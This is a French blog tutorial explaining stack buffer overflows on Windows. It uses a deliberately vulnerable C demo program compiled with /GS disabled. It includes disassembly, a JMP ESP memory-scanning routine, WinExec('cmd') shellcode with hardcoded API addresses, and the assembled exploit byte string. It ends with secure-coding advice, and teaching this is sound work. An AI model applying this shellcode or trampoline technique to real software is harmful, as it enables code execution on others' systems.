I. Introduction
Nous allons représenté dans cette article comment fonctionne
les buffers overflow
Le concept général d’une attaques par « Buffer overflow » (
débordement de tampon ou également appelée dépassement de pile), consiste à
faire crasher un programme en écrivant dans un buffer au travers d'un flux
d'entrée plus de données qu’il ne peut en contenir (un buffer est un zone
mémoire temporaire utilisée par une application), dans le but d'écraser des
parties du code de l’application et d’injecter des données utiles pour
exploiter le crash de l’application.
Cela permet de prendre le contrôle sur l'exécution du
programme cible et en générale pour lui faire exécuter du code sur la machine
hébergeant la dit application vulnérable.
L’intérêt de ce type d’attaque est qu’il ne nécessite pas
en majorité d'accès au système cible, ou dans le cas contraire un simple accès
restreint est largement suffisant.
Il s’agit donc d’une attaque redoutable et difficile à
bloquer .
D’un autre côté, elle reste difficile à mettre en oeuvre
car elle requiert des connaissances avancées en programmation.
De plus, bien que les nouvelles failles soient largement
publiées sur le web, les codes ne sont pas ou peu portables.
Une attaque par buffer overflow signifie en général que l’on
a affaire à des attaquants très pointue techniquement.
II. Disposer d'une cible vulnérable
Nous allons utiliser un exemple de démonstration et pour
une fois le flux d'entrer ne sera pas classiquement les arguments du processus
comme c'est souvent le cas.
Note le programme a été compilé avec Visual Studio ( par contre pour éviter que celui-ci protége les buffers. Nous avons désactiver /GS )
Comme un débordement de tampon (
Buffer Overflow) est une anomalie dans un programme, lors de l'écriture de
données dans un tampon ( Buffer ), dépassant la limite sur le buffer et écrase
les emplacements de mémoire adjacents au buffer. L'écriture de données en dehors des limites de l'espace de
mémoire allouées peut conduire à un dysfonctionnement du programme
Nous allons donc utiliser des
fonctions ne garantissant pas ce contrôle comme
strcpy
(), strcat (), sprintf () ,gets ( ) , scanf ( ) .
bool FnTestAccess(char*
pszPassword)
{
char szPassIn[8];
strcpy(szPassIn, pszPassword);
if(strcmp(szPassIn,"pwd"))
{
MessageBox(NULL,"Access Denied","Information",MB_OK);
return false;
}
return true;
}
|
Comme vous verrez certaines fonctions du langage C, telles
que les fonctions strcpy() ne gèrent pas de contrôle sur la taille de
donnée pouvant recevoir le tampon cible.
Regardons de plus prés cette fonction C
char *strcpy( char *strDestination, const char *strSource ); |
Cette fonction va simplement copier les octets pointés par
strSource dans ceux pointés par strDestination. Les données qui figuraient dans
strDestination seront écrasées. La fonction strcpy s'arrête dès qu'elle trouve
un octet NULL ( 0x00 ) dans strSource.
C'est là le souci, nous avons volontairement dans notre
exemple exagérer en fixer la taille à 8
octets de notre buffer destinataire.
Ainsi temps que le
buffer de strSource à un taille inférieur à 8 ( C.A.D 7 une chaîne de 7 caractères
car il y a fin de chaîne à compté 0x00 )
Nous n'avons de souci dans le fonctionnement de la
fonction vulnérable .
Mais si nous passons plus de caractères à celle-ci. Que ce
passe-t-il exactement ?
passons par exemple "0123456789ABCDEF" à notre
fonction
Nous obtenons un plantage de l'application ( C'est ce que
l'on chercher ).
Il est intéressant de regarder le détails du problème,
vous devriez voir quelque chose d'intéressant
0x42413938 qui indique votre programme voulez exécuter une
instruction à l'addresse 0x42413938
mais ce bloc n'est pas taggué en autorisation pour l'exécution d'ou l exception
violation d'accès Mémory 0xC0000005
Nous retrouvons 0x42 = 'B' / 0x41 ='A' / 0x39 = '9' / 0x38 = '8'
Si nous
cela est ramener sur une représentation mémoire. Nous voyons que nous avons
écraser les blocs mémoire adjacent au tableau
( char
szPassIn[8]; ). Partie orange sur notre schéma de la mémoire.
Nous allons donc, nous intéressé plus en détail au bloc
concerné. Mais avant de rentrer dans l'analyse assembleur du programme et de la
fonction
Pour donner un avant goût de la suite, nous avons deux
boutons sur notre interface lançant de simple MessageBox(....) et pour chacun
nous disposons de l'adresse des fonctions
0x00401710 pour la
fonction appelant
MessageBox(NULL,"Hask1","BufferOverflow",MB_OK);
0x004017D0 pour la
fonction appelant
MessageBox(NULL,"Hask2","BufferOverflow",MB_OK);
Nous allons positionner dans le bloc orange adjacent le
buffer ( char szPassIn[8]; ) l'adresse de la fonction 0x00401710.Hors nous ne pouvons passer que des chaînes de caractère à ce
programme pour teste la fonction via EditBox. Il nous faut donc convertir les
l'adresse
0x00401710 en sa notation ASCII notre DWORD est représenté en mémoire de la maniére suivant 0x10 0x17 0x40 0x00 via la table ASCII cela
nous donne "@" . Pour la suite et pour pouvoir faire la
démonstration, nous avons intégrer un convertisseur dans le démonstrateur
effectuant la conversion des chaîne
ANSI en Hexa.
Maintenant passons
à notre fonction la chaîne
Mais juste après avoir cliquer sur le bouton OK, une autre
MessageBox apparait !
Bien sûr, des que vous cliquez sur le bouton OK, le programme va planté
Voila, nous avons détourner le fonctionnement du
programme, nous avons détourner l'exécution de ce programme de démonstration et
avons la main sur son exécution.
Maintenant que vous visualiser ce qu'est un
BufferOverflow, Cette exemple ici est purement conceptuelle. Mais il faut
comprendre que des applications Web sous PHP on application du commerce on exactement le même souci ( bien
sûr , c'est un plus complexe a
exploité comme nous le verons dans la
suite) . Des qu'une application prendre flux d'entrer et cela peut être
variable fonction du type d'application ( Fichier .mp4 , saisie clavier via
l'interface , intéraction web. Il y a potentiellement possibilité de faille
BufferOverflow.
MAIS EN REALITE, IL EST TRES DIFFICILE DE TROUVER UNE
FAILLE AUSSI SIMPLE QUE CELA DANS UNE APPLICATION. CAR CELA DEMANDE DES
CONNAISSANCES IMPORTANT POUR PASSER LES
CONTRE MESURE ET LES PROTECTIONS MISE EN PLACE POUR PROTEGER CELA DANS LE CODE.
Comme indiqué dans ce exemple, nous avons compiler le
programme en configurant déjà l'option /GS désactivé .
Maintenant passons au chose sérieuse et rentrons dans
l'analyse technique pour cette fois-ci exécuter un shellcode à nous et non uniquement router l'appel .
III. Analyse de la fonction vulnérable
Nous allons
utilisons un programme permettant de voir le code Assembleur à la volé dans un
processus
00401360: 8B 44 24 04 MOV EAX,DWORD PTR [ESP+04h]
00401364: 8D 54 24 F8 LEA EDX,[ESP-08h]
00401368: 83 EC
08 SUB ESP,08h (On
alloue l'espace de 8 octets sur la stack)
0040136B: 2B D0 SUB
EDX,EAX
0040136D: 8D 49 00 LEA
ECX,DWORD PTR [ECX+00h]
00401370: 8A 08 MOV
CL, BYTE PTR [EAX]
00401372: 88 0C 02 MOV
BYTE PTR [EDX+EAX*1],CL
00401375: 83 C0 01 ADD
EAX,01h
00401378: 84 C9 TEST
CL,CL
0040137A: 75 F4 JNZ
F4h (rel8)(-0Ch ->:00401370)
0040137C: 56 PUSH
ESI
0040137D: 57 PUSH
EDI
0040137E: BF 3C D1 42 00 MOV EDI, 0042D13Ch SECTION[.rdata](0x0042D13C):pwd
00401383: 8D 74 24 08 LEA ESI,[ESP+08h]
00401387: B9 04 00 00 00 MOV ECX, 00000004h "
"
0040138C: 33 C0 XOR
EAX,EAX
0040138E: F3 A6 REP
CMPSB
00401390: 5F POP
EDI
00401391: 5E POP
ESI
00401392: 74 18 JZ
18h (-FFFFFFE8h ->:004013AC)
00401394: 50 PUSH
EAX
00401395: 68 40 D1 42 00 PUSH 0042D140h "@ÑB"
SECTION[.rdata](0x0042D140):Information
0040139A: 68 4C D1 42 00 PUSH 0042D14Ch "LÑB"
SECTION[.rdata](0x0042D14C):Access Denied
0040139F: 50 PUSH
EAX
004013A0: FF 15 CC 93 42 00 CALL DWORD PTR DS:[004293CCh] IAT > USER32.dll.MessageBoxA
004013A6: 32 C0 XOR
AL,AL
004013A8: 83 C4 08 ADD
ESP,08h
004013AB: C3 RET
004013AC: B0 01 MOV
AL,0x01
004013AE: 83 C4 08 ADD
ESP,08h
004013B1: C3 RET
|
Si nous mettons en parallèle avec le code C de notre
fonction
bool FnTestAccess(char*
pszPassword)
{
char szPassIn[8];
----------------------------------------------------------------------------------------------------------------------------------------
strcpy(szPassIn, pszPassword);
if(strcmp(szPassIn,"pwd"))
{
MessageBox(NULL,"Access Denied","Information",MB_OK);
return false;
}
return true;
}
|
Maintenant passons à la modélisation de la stack ( Pile ) au moment du trait imaginaire en pointillé, nous obtenons une stack suivant:
Cela correspond au bloc assembleur suivant :
00401360: 8B 44 24 04 MOV EAX,DWORD PTR [ESP+04h]
00401364: 8D 54 24 F8 LEA EDX,[ESP-08h]
00401368: 83 EC 08 SUB ESP,08h (On alloue l'espace de 8 octets sur la stack)
|
Ou l'on a l'adresse ( pointeur vers notre tableau
pszPassword ) qui est mis dans EAX
Ligne en bleu ( 0x00401360) en suite il y a l'allocation
du tableau et la mise de l'adresse ( pointeur sur szPassIn) dans EDX.
L'ordre de ses deux lignes n'a pas d'importance
L'allocation est la ligne (0x00401368) en rouge et la
ligne noir ( 0x00401364 ) l'affectation EDX avec le pointeur du début de
tableau
Maintenant regardons les lignes suivant:
0040136B: 2B D0 SUB
EDX,EAX
0040136D: 8D 49 00 LEA
ECX,DWORD PTR [ECX+00h]
00401370: 8A 08 MOV
CL, BYTE PTR [EAX]
00401372: 88 0C 02 MOV
BYTE PTR [EDX+EAX*1],CL
00401375: 83 C0 01 ADD
EAX,01h
00401378: 84 C9 TEST
CL,CL
0040137A: 75 F4 JNZ
F4h (rel8)(-0Ch ->:00401370)
|
Elle correspondront tous simplement à notre "strcpy(szPassIn, pszPassword);"
Et c'est là le souci c'est une boucle tant qu'il y a pas le caractère de fin de
chaîne il va copier le caractére dans le buffer cible
int iEAX = &pszPassword[0];
int iEDX = &
szPassIn [0];
iEDX = iEDX -
iEAX;
do
{
char cCL = *( iEAX );
*(iEDX+iEAX)
= cCL;
iEAX++;
}while(cCL != 0x00)
Pour les personnes peu habitué à l'assembleur pour des
raisons pratique
Le compilateur au lieu d'écrire et pouvoir utiliser un
registre partant de 0 qu'il incrément , il utilise EAX mais celui contient
l'adresse de référence et donc effectue une pirouette classique en
Ligne ( 0x040136B) , il fait une soustraction EAX initial
pour en suite lors le da copie ajouter la valeur EAX.
Il est évident que si l'on passe plus de caractère que 8
ont va écraser l'adresse de retour
stocké sur la pile et en suite écraser les arguments et ainsi de suite
jusqu'a la fin de chaîne 0x00.
Maintenant devons
trouver un moyen passer de cette adresse de retour en rouge à permettre
d'arriver à pointer sur l'adresse de la ESP+4 pour executé nos instructios .
car fin de l'appel de la fonction EIP = EBP qui pointe sur "Return Address"
pour revenir après l'appel de cette fonction au code principe ayant appeler la
fonction.
Pour effectué ce passage que via l'adresse contenu dans
"Return Address" nous puissions continuer l'exécution sur les
instruction sur la Pile ce trouvant à la suite pointer par ESP+4
Il existe plusieurs techniques , mais avons nous allons
montrer le classique Jmp ESP qui est le scénarios le plus confortable
En positionnant une adresse pointant vers une instruction
X le processeur va continuer son exécution à l'addresse ciblé et et incrémenté
ESP de 4. Donc à ce moment ESP pointe sur la suite de notre bufferoverflows
positionner sur la pile zone ( Jaune ) qui sera notre shellcode que nous
souhaitons justement pouvoir executé.
En utilisant l'adresse d'une instruction Jmp ESP
positionner dans "Return Address", le programme va continuer son
exécution sur le bloc mémoire de la pile qui dans notre schéma le shellcode
l'addresse de notre instruction Jmp ESP doit est dans
l'espace haut pour que son adresse ne contient pas 0x00, sinon nous le strcpy
ne copiera pas la suite des instructions dans la pile.
Ce que nous venons de décrit s'appel la technique du trampoline vers une Dll ( Jmp ESP/Call ESP )
Nous remplaçons l'adresse de retour par une adresse de kernel32.dll
qui contient l'instruction JMP ESP ou un Call ESP.
IV. Trouver une instruction JMP ESP en Mémoire
Maintenant il faut trouver l'adresse d'un JMP ESP dans la
mémoire, ce qui permettra de aller à l'exécution de notre shellcode.
Il existe différent outil permettant cette opération via
OllyDbg , x32Dbg , ImmunityDebugger Ou via des petit tools dédier comme l'outil
Findjmp2.exe
Dans notre exemple nous avons directement auto scanner la
mémoire pour trouver l'emplacement d'un Jmp ESP dans la DLL "kernel32.dll"
du processus pour disposer des adresses de deux instructions
Voici le petit code utiliser pour cette recherche
void
CSampleMFCBufferOverflowDemo1Dlg::OnBnClickedBtFindJmpESPInMemory()
{
//Find jmp esp FF
E4
DWORD
dwAddrKernel32 = (DWORD)GetModuleHandle("kernel32.dll");
char* pFind = (char*)(dwAddrKernel32)
+ 0x15000;
DWORD
dwAddrfindJumpESP = 0x0;
unsigned char cOpCode1,cOpCode2;
for( int
i=0;i<0x50000;i++)
{
cOpCode1
= pFind[i];
cOpCode2
= pFind[i+1];
if(cOpCode1==0xFF && cOpCode2==0xE4 )
{
dwAddrfindJumpESP
= dwAddrKernel32 + 0x15000 + i;
break;
}
}
std::string
sAddrJmpESP =
Convert_DWORD_To_sHex((DWORD)dwAddrfindJumpESP);
sApi_SetDlgItemText(this->m_hWnd,IDC_ED_FIND_JMPESP,sAddrJmpESP);
}
|
V. Le Shellcode d'exemple
Pour notre démonstration, nous allons pas chercher très
loin notre petit shellcode
Nous allons effectuer le lancement de cmd via Api WinExec
et terminer le programme via ExitProcess qui est un basic de l'initiation à
assembleur que vous trovuerez N sites Web
nous avons mis en dure les addresse des API WinExec et
ExitProces par rapport à notre
programme
Voici le shellcode
que nous allons utiliser pour notre démonstration
char shellcode_Exploit[] = "\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6"
"\x45\xFD\x6D\xC6\x45\xFE\x64\x8D\x45\xFC"
"\x50\x6A\x01\x50\xB8\xC6\x84\xE4\x77\xFF"
"\xD0\xB8\xB5\x5C\xE5\x77\xFF\xD0";
|
Nous vous avons
remis le code en assembleur pour visualiser ce que fait celui-ci
00000000: 8B EC MOV
EBP,ESP
00000002:
33 DB XOR
EBX,EBX
00000004:
53 PUSH
EBX
00000005: C6 45 FC 63 MOV BYTE PTR [EBP-04h],63h => 'c'
00000009: C6 45 FD 6D MOV BYTE PTR [EBP-03h],6Dh => 'm'
0000000D: C6 45 FE 64 MOV BYTE PTR [EBP-02h],64h => 'd'
00000011: 8D 45 FC LEA
EAX,DWORD PTR [EBP-04h]
00000014: 50 PUSH
EAX
00000015: 6A 01 PUSH
1h
00000017: 50 PUSH
EAX
00000018: B8 C6 84 E4 77 MOV EAX, 77E484C6h "Æ„äw" // Address WinExec
0000001D: FF D0 CALL
EAX
0000001F: B8 B5 5C E5 77 MOV EAX, 77E55CB5h "µ\åw" // Address ExitProcess
00000024: FF D0 CALL
EAX
|
VI. Construction de l'exploit
Nous allons maintenant construire notre exploit de
permettant de lancer notre "cmd"
Il sera composer 3 bloques
8 caractères quelconques exemple abcdefgh + DWORD(Return
Address) + Notre ShellCode(WinExec(Cmd))
Via le démonstrateur, nous avons les 3 blocs nécessaires
Ce qui nous donne au finale le bufferOverflow à insérer en hexa
61
62 63 64 65 66 67 68 3D 94 6E 76 8B EC 33 DB 53
C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 6A 01 50 B8 DF 32 69 76 FF D0
B8 4E D8 6C 76 FF D0 00
|
Maintenant en le convertissant en caractère ASCII, cela
donne la chaîne suivante:
"‹ì3ÛSÆEücÆEýmÆEþdEüPjP¸ß2ivÿиNØlvÿÐ"
Testons en mettant dans l'EditBox pour que celui-ci soit
passer à notre fonction vulnérable
Des que l'on clique sur le bouton, nous retrouvons l'affiche de notre MessageBox inclus
dans la fonction vulnérable.
Des que l'on clique sur le bouton OK de la MessageBox un cmd apparaît et le programme est fermé
VII. Conclusions
Nous espérons que cela, vous a
permis de mieux comprendre les "Buffer Overflow" sur la Stack(Pile).
Maintenant pour écrire du code sécurisé pour éviter les
attaques par débordement de pile. En C , il y a un certain nombre de fonctions
vulnérables que les hackers peuvent exploiter pour les BufferOverflows sur la
pile. Pour limité ce risque il faut réduire vos utilisations de ces fonction
comme strcpy (), strcat (), sprintf ()
et vsprintf (), qui ne n'effectue pas de contrôle sur les limites de taille. Si possible , évitez
d'utiliser gets( ) également , qui ne précise pas le nombre de caractères à
lire et laisse donc votre code vulnérable . Si vous utilisez scanf ( ) ,
n'oubliez pas de spécifier une largeur pour le format pour éviter les
dépassements .
Si vous devrez quand même utilisé certaine fonction lors
de code porté, pensé à intégrer le contrôle de taille de votre côté et
seulement ensuite appeler celle-ci.
Mais pour se
protéger ou limiter ce type d'attaque, il est nécessaire de développer des
applications à l'aide des compilateurs et utiliser des outils d'analyse de
code, assurant une passe sur le code et le compilateur avec de bonne option
effectuera une gestion fine de la
mémoire allouée et pour le développeur d'utiliser des bibliothèques de
fonctions sécurisées (par exemple les fonctions strncpy()).
Aucun commentaire:
Enregistrer un commentaire